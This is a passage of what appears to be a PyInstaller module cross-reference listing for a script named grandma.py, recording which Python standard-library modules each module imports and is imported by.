+ + encodings.base64_codec +SourceModule
+imports: + base64 + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.big5 +SourceModule
+imports: + _codecs_tw + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.big5hkscs +SourceModule
+imports: + _codecs_hk + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.bz2_codec +SourceModule
+imports: + bz2 + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.charmap +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp037 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1006 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1026 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1125 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1140 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1250 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1251 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1252 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1253 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1254 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1255 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1256 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1257 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp1258 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp273 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp424 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp437 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp500 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp720 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp737 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp775 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp850 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp852 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp855 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp856 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp857 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp858 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp860 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp861 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp862 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp863 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp864 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp865 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp866 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp869 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp874 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp875 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp932 +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp949 +SourceModule
+imports: + _codecs_kr + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.cp950 +SourceModule
+imports: + _codecs_tw + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.euc_jis_2004 +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.euc_jisx0213 +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.euc_jp +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.euc_kr +SourceModule
+imports: + _codecs_kr + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.gb18030 +SourceModule
+imports: + _codecs_cn + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.gb2312 +SourceModule
+imports: + _codecs_cn + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.gbk +SourceModule
+imports: + _codecs_cn + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.hex_codec +SourceModule
+imports: + binascii + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.hp_roman8 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.hz +SourceModule
+imports: + _codecs_cn + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.idna +SourceModule
+imports: + codecs + • encodings + • re + • stringprep + • unicodedata + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_jp +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_jp_1 +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_jp_2 +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_jp_2004 +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_jp_3 +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_jp_ext +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso2022_kr +SourceModule
+imports: + _codecs_iso2022 + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_1 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_10 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_11 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_13 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_14 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_15 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_16 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_2 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_3 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_4 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_5 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_6 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_7 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_8 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.iso8859_9 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.johab +SourceModule
+imports: + _codecs_kr + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.koi8_r +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.koi8_t +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.koi8_u +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.kz1048 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.latin_1 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_arabic +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_croatian +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_cyrillic +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_farsi +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_greek +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_iceland +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_latin2 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_roman +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_romanian +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mac_turkish +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.mbcs +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.oem +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.palmos +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.ptcp154 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.punycode +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.quopri_codec +SourceModule
+imports: + codecs + • encodings + • io + • quopri + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.raw_unicode_escape +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.rot_13 +SourceModule
+imports: + codecs + • encodings + • sys + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.shift_jis +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.shift_jis_2004 +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.shift_jisx0213 +SourceModule
+imports: + _codecs_jp + • _multibytecodec + • codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.tis_620 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.undefined +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.unicode_escape +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_16 +SourceModule
+imports: + codecs + • encodings + • sys + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_16_be +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_16_le +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_32 +SourceModule
+imports: + codecs + • encodings + • sys + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_32_be +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_32_le +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_7 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_8 +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.utf_8_sig +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.uu_codec +SourceModule
+imports: + binascii + • codecs + • encodings + • io + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + encodings.zlib_codec +SourceModule
+imports: + codecs + • encodings + • zlib + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
+ + enum +SourceModule
+imports: + sys + • types + • warnings + +
+
+imported by: + ast + • asyncio.constants + • grandma.py + • http + • inspect + • plistlib + • py_compile + • re + • signal + • socket + • ssl + • tkinter + +
+ +
+ + + +
+ + fcntl (builtin module)
+imported by: + subprocess + +
+ +
+ +
+ + fnmatch +SourceModule
+imports: + functools + • itertools + • os + • posixpath + • re + +
+
+imported by: + bdb + • distutils.filelist + • distutils.sysconfig + • glob + • grandma.py + • pathlib + • shutil + • test.support + • tracemalloc + • unittest.loader + • urllib.request + +
+ +
+ +
+ + fractions +SourceModule
+imports: + decimal + • math + • numbers + • operator + • re + • sys + +
+
+imported by: + statistics + +
+ +
+ +
+ + ftplib +SourceModule
+imports: + netrc + • re + • socket + • ssl + • sys + • warnings + +
+
+imported by: + urllib.request + +
+ +
+ + + +
+ + gc (builtin module)
+imports: + time + +
+
+imported by: + _posixsubprocess + • test.support + • weakref + +
+ +
+ +
+ + genericpath +SourceModule
+imports: + os + • stat + +
+
+imported by: + grandma.py + • ntpath + • posixpath + +
+ +
+ +
+ + getopt +SourceModule
+imports: + gettext + • os + • sys + +
+
+imported by: + base64 + • distutils.fancy_getopt + • mimetypes + • pdb + • pydoc + • quopri + • webbrowser + +
+ +
+ +
+ + getpass +SourceModule
+imports: + contextlib + • io + • msvcrt + • os + • pwd + • sys + • termios + • warnings + +
+
+imported by: + urllib.request + +
+ +
+ +
+ + gettext +SourceModule
+imports: + builtins + • copy + • errno + • locale + • os + • re + • struct + • sys + • warnings + +
+
+imported by: + argparse + • getopt + • optparse + +
+ +
+ +
+ + grp (builtin module)
+imported by: + pathlib + • shutil + • subprocess + • tarfile + +
+ +
+ +
+ + gzip +SourceModule
+imports: + _compression + • argparse + • builtins + • errno + • io + • os + • struct + • sys + • time + • warnings + • zlib + +
+
+imported by: + tarfile + • test.support + • xmlrpc.client + +
+ +
+ +
+ + hashlib +SourceModule
+imports: + _blake2 + • _hashlib + • _md5 + • _sha1 + • _sha256 + • _sha3 + • _sha512 + • logging + • warnings + +
+
+imported by: + hmac + • random + • urllib.request + +
+ +
+ +
+ + heapq +SourceModule
+imports: + _heapq + +
+
+imported by: + asyncio.base_events + • asyncio.queues + • collections + • difflib + • grandma.py + • queue + +
+ +
+ +
+ + http +Package
+imports: + enum + +
+
+imported by: + http.client + • http.cookiejar + • http.server + +
+ +
+ +
+ + http.client +SourceModule
+imports: + collections.abc + • email.message + • email.parser + • errno + • http + • io + • re + • socket + • ssl + • sys + • urllib.parse + • warnings + +
+
+imported by: + http.cookiejar + • http.server + • urllib.request + • xmlrpc.client + +
+ +
+ +
+ + http.cookiejar +SourceModule
+imports: + calendar + • copy + • datetime + • http + • http.client + • io + • logging + • os + • re + • threading + • time + • traceback + • urllib.parse + • urllib.request + • warnings + +
+
+imported by: + urllib.request + +
+ +
+ + + +
+ + importlib._abc +SourceModule
+imports: + abc + • importlib + • importlib._bootstrap + • warnings + +
+
+imported by: + importlib.abc + • importlib.util + +
+ +
+ +
+ + importlib._bootstrap +SourceModule
+imports: + _frozen_importlib_external + • importlib + +
+
+imported by: + importlib + • importlib._abc + • importlib.machinery + • importlib.util + • pydoc + +
+ +
+ +
+ + importlib._bootstrap_external +SourceModule
+imports: + _imp + • _io + • _warnings + • importlib + • importlib.metadata + • importlib.readers + • marshal + • nt + • posix + • sys + • tokenize + • winreg + +
+
+imported by: + importlib + • importlib.abc + • importlib.machinery + • importlib.util + • py_compile + • pydoc + +
+ +
+ +
+ + importlib.abc +SourceModule +
+imported by: + importlib + • importlib.metadata + • importlib.readers + +
+ +
+ +
+ + importlib.machinery +SourceModule +
+imported by: + ctypes.util + • importlib + • importlib.abc + • inspect + • pkgutil + • py_compile + • pydoc + • runpy + +
+ +
+ + + +
+ + importlib.metadata._adapters +SourceModule
+imports: + email.message + • importlib.metadata + • importlib.metadata._text + • re + • textwrap + +
+
+imported by: + importlib.metadata + +
+ +
+ +
+ + importlib.metadata._collections +SourceModule
+imports: + collections + • importlib.metadata + +
+
+imported by: + importlib.metadata + +
+ +
+ +
+ + importlib.metadata._functools +SourceModule
+imports: + functools + • importlib.metadata + • types + +
+
+imported by: + importlib.metadata + • importlib.metadata._text + +
+ +
+ +
+ + importlib.metadata._itertools +SourceModule
+imports: + importlib.metadata + • itertools + +
+
+imported by: + importlib.metadata + +
+ +
+ +
+ + importlib.metadata._meta +SourceModule
+imports: + importlib.metadata + • typing + +
+
+imported by: + importlib.metadata + +
+ +
+ +
+ + importlib.metadata._text +SourceModule +
+imported by: + importlib.metadata._adapters + +
+ +
+ +
+ + importlib.readers +SourceModule
+imports: + collections + • importlib + • importlib.abc + • pathlib + • zipfile + +
+
+imported by: + importlib._bootstrap_external + • zipimport + +
+ +
+ +
+ + importlib.util +SourceModule
+imports: + _imp + • contextlib + • functools + • importlib + • importlib._abc + • importlib._bootstrap + • importlib._bootstrap_external + • sys + • types + • warnings + +
+
+imported by: + distutils.util + • pkgutil + • py_compile + • pydoc + • runpy + • test.support.import_helper + • zipfile + +
+ +
+ +
+ + inspect +SourceModule
+imports: + abc + • argparse + • ast + • builtins + • collections + • collections.abc + • dis + • enum + • functools + • importlib + • importlib.machinery + • itertools + • linecache + • operator + • os + • re + • sys + • token + • tokenize + • types + • warnings + +
+
+imported by: + ast + • asyncio.coroutines + • asyncio.format_helpers + • asyncio.tasks + • bdb + • dataclasses + • doctest + • pdb + • pkgutil + • pydoc + • pyi_rth_inspect.py + • unittest.async_case + +
+ +
+ + + + + +
+ + keyword +SourceModule
+imported by: + collections + • dataclasses + • grandma.py + +
+ +
+ +
+ + linecache +SourceModule
+imports: + functools + • os + • sys + • tokenize + +
+
+imported by: + asyncio.base_tasks + • bdb + • doctest + • grandma.py + • inspect + • pdb + • traceback + • tracemalloc + • warnings + +
+ +
+ +
+ + locale +SourceModule
+imports: + _collections_abc + • _locale + • builtins + • encodings + • encodings.aliases + • functools + • os + • re + • sys + • warnings + +
+
+imported by: + _pydecimal + • _strptime + • calendar + • gettext + • grandma.py + • test.support + +
+ +
+ +
+ + logging +Package
+imports: + atexit + • collections.abc + • io + • os + • pickle + • re + • string + • sys + • threading + • time + • traceback + • warnings + • weakref + +
+ + +
+ +
+ + lzma +SourceModule
+imports: + _compression + • _lzma + • builtins + • io + • os + +
+
+imported by: + shutil + • tarfile + • test.support + • zipfile + +
+ +
+ +
+ + marshal (builtin module)
+imported by: + importlib._bootstrap_external + • pkgutil + • zipimport + +
+ +
+ +
+ + math (builtin module)
+imported by: + _pydecimal + • asyncio.windows_events + • datetime + • fractions + • random + • selectors + • statistics + +
+ +
+ +
+ + mimetypes +SourceModule
+imports: + _winapi + • getopt + • os + • posixpath + • sys + • urllib.parse + • winreg + +
+
+imported by: + http.server + • urllib.request + +
+ +
+ + + +
+ + netrc +SourceModule
+imports: + os + • pwd + • shlex + • stat + +
+
+imported by: + ftplib + +
+ +
+ +
+ + nt +MissingModule
+imported by: + ctypes + • importlib._bootstrap_external + • ntpath + • os + • shutil + +
+ +
+ +
+ + ntpath +SourceModule
+imports: + _winapi + • genericpath + • nt + • os + • stat + • string + • sys + +
+
+imported by: + grandma.py + • os + • pathlib + +
+ +
+ +
+ + nturl2path +SourceModule
+imports: + string + • urllib.parse + +
+
+imported by: + urllib.request + +
+ +
+ +
+ + numbers +SourceModule
+imports: + abc + +
+
+imported by: + _pydecimal + • fractions + • statistics + +
+ +
+ +
+ + opcode +SourceModule
+imports: + _opcode + +
+
+imported by: + dis + +
+ +
+ +
+ + operator +SourceModule
+imports: + _operator + • builtins + • functools + +
+
+imported by: + collections + • copyreg + • datetime + • email._header_value_parser + • fractions + • grandma.py + • importlib.metadata + • inspect + • lib2to3.refactor + • pathlib + • random + • statistics + • typing + +
+ +
+ +
+ + optparse +SourceModule
+imports: + gettext + • os + • sys + • textwrap + +
+
+imported by: + uu + +
+ +
+ +
+ + org +MissingModule
+imported by: + copy + +
+ +
+ +
+ + os +SourceModule
+imports: + _collections_abc + • abc + • io + • nt + • ntpath + • posix + • posixpath + • posixpath + • stat + • subprocess + • sys + • warnings + +
+
+imported by: + _bootsubprocess + • _osx_support + • argparse + • asyncio.base_events + • asyncio.coroutines + • asyncio.events + • asyncio.proactor_events + • asyncio.unix_events + • asyncio.windows_utils + • bdb + • bz2 + • concurrent.futures.process + • concurrent.futures.thread + • ctypes + • ctypes._aix + • ctypes.util + • distutils.ccompiler + • distutils.debug + • distutils.dep_util + • distutils.dir_util + • distutils.file_util + • distutils.filelist + • distutils.spawn + • distutils.sysconfig + • distutils.util + • doctest + • email.utils + • fnmatch + • genericpath + • getopt + • getpass + • gettext + • glob + • grandma.py + • gzip + • http.cookiejar + • http.server + • importlib.metadata + • inspect + • lib2to3.pgen2.driver + • lib2to3.pygram + • lib2to3.refactor + • linecache + • locale + • logging + • lzma + • mimetypes + • multiprocessing.connection + • multiprocessing.context + • multiprocessing.forkserver + • multiprocessing.heap + • multiprocessing.managers + • multiprocessing.pool + • multiprocessing.popen_fork + • multiprocessing.popen_forkserver + • multiprocessing.popen_spawn_posix + • multiprocessing.popen_spawn_win32 + • multiprocessing.process + • multiprocessing.queues + • multiprocessing.reduction + • multiprocessing.resource_sharer + • multiprocessing.resource_tracker + • multiprocessing.shared_memory + • multiprocessing.spawn + • multiprocessing.util + • netrc + • ntpath + • optparse + • pathlib + • pdb + • pkgutil + • platform + • plistlib + • posixpath + • posixpath + • py_compile + • pydoc + • pyi_rth_inspect.py + • random + • runpy + • shlex + • shutil + • socket + • socketserver + • ssl + • subprocess + • sysconfig + • tarfile + • tempfile + • test.support + • test.support.import_helper + • test.support.os_helper + • threading + • tkinter + • unittest.loader + • unittest.main + • urllib.request + • uu + • webbrowser + • xml.sax + • xml.sax.saxutils + • zipfile + • zipimport + +
+ +
+ +
+ + pathlib +SourceModule
+imports: + _collections_abc + • errno + • fnmatch + • functools + • grp + • io + • ntpath + • operator + • os + • posixpath + • pwd + • re + • stat + • sys + • urllib.parse + • warnings + +
+
+imported by: + grandma.py + • importlib.metadata + • importlib.readers + • zipfile + +
+ +
+ +
+ + pep517 +MissingModule
+imported by: + importlib.metadata + +
+ +
+ +
+ + pickle +SourceModule
+imports: + 'org.python' + • _compat_pickle + • _pickle + • codecs + • copyreg + • functools + • io + • itertools + • pprint + • re + • struct + • sys + • types + +
+
+imported by: + lib2to3.pgen2.grammar + • logging + • multiprocessing.reduction + • tracemalloc + +
+ +
+ +
+ + posix (builtin module)
+imports: + resource + +
+
+imported by: + importlib._bootstrap_external + • os + • shutil + +
+ +
+ +
+ + posixpath +AliasNode
+imports: + os + • posixpath + +
+
+imported by: + distutils.file_util + • os + • pkgutil + • py_compile + • sysconfig + • tracemalloc + • unittest + • unittest.util + +
+ +
+ +
+ + posixpath +SourceModule
+imports: + genericpath + • os + • pwd + • re + • stat + • sys + +
+
+imported by: + fnmatch + • grandma.py + • http.server + • importlib.metadata + • mimetypes + • os + • pathlib + • posixpath + • urllib.request + • zipfile + +
+ +
+ +
+ + pprint +SourceModule
+imports: + collections + • dataclasses + • io + • re + • sys + • time + • types + +
+
+imported by: + lib2to3.pgen2.grammar + • pdb + • pickle + • sysconfig + • unittest.case + +
+ +
+ +
+ + pwd (builtin module)
+imported by: + distutils.util + • getpass + • http.server + • netrc + • pathlib + • posixpath + • shutil + • subprocess + • tarfile + • webbrowser + +
+ +
+ +
+ + py_compile +SourceModule
+imports: + argparse + • enum + • importlib._bootstrap_external + • importlib.machinery + • importlib.util + • os + • posixpath + • sys + • traceback + +
+
+imported by: + distutils.util + • zipfile + +
+ +
+ +
+ + pyexpat (builtin module)
+imported by: + _elementtree + • xml.etree.ElementTree + • xml.parsers.expat + +
+ +
+ +
+ + quopri +SourceModule
+imports: + binascii + • getopt + • io + • sys + +
+
+imported by: + email.encoders + • email.message + • encodings.quopri_codec + +
+ +
+ +
+ + random +SourceModule
+imports: + _collections_abc + • _random + • _sha512 + • bisect + • hashlib + • itertools + • math + • operator + • os + • statistics + • time + • warnings + +
+
+imported by: + email.generator + • email.utils + • secrets + • statistics + • tempfile + +
+ +
+ +
+ + re +SourceModule
+imports: + _locale + • copyreg + • enum + • functools + • sre_compile + • sre_constants + • sre_parse + +
+ + +
+ +
+ + reprlib +SourceModule
+imports: + _thread + • builtins + • itertools + +
+
+imported by: + asyncio.base_futures + • asyncio.format_helpers + • bdb + • collections + • functools + • grandma.py + • pydoc + +
+ +
+ +
+ + resource /usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so
+imported by: + posix + • test.support + +
+ +
+ +
+ + select (builtin module)
+imported by: + http.server + • pydoc + • selectors + • subprocess + +
+ +
+ +
+ + selectors +SourceModule
+imports: + abc + • collections + • collections.abc + • math + • select + • sys + +
+ + +
+ +
+ + shlex +SourceModule
+imports: + collections + • io + • os + • re + • sys + • warnings + +
+
+imported by: + netrc + • pdb + • webbrowser + +
+ +
+ +
+ + shutil +SourceModule
+imports: + bz2 + • collections + • errno + • fnmatch + • grp + • lzma + • nt + • os + • posix + • pwd + • stat + • sys + • tarfile + • zipfile + • zlib + +
+ + +
+ + + + + +
+ + sre_compile +SourceModule
+imports: + _sre + • sre_constants + • sre_parse + • sys + +
+
+imported by: + grandma.py + • re + +
+ +
+ +
+ + sre_constants +SourceModule
+imports: + _sre + +
+
+imported by: + grandma.py + • re + • sre_compile + • sre_parse + +
+ +
+ +
+ + sre_parse +SourceModule
+imports: + sre_constants + • unicodedata + • warnings + +
+
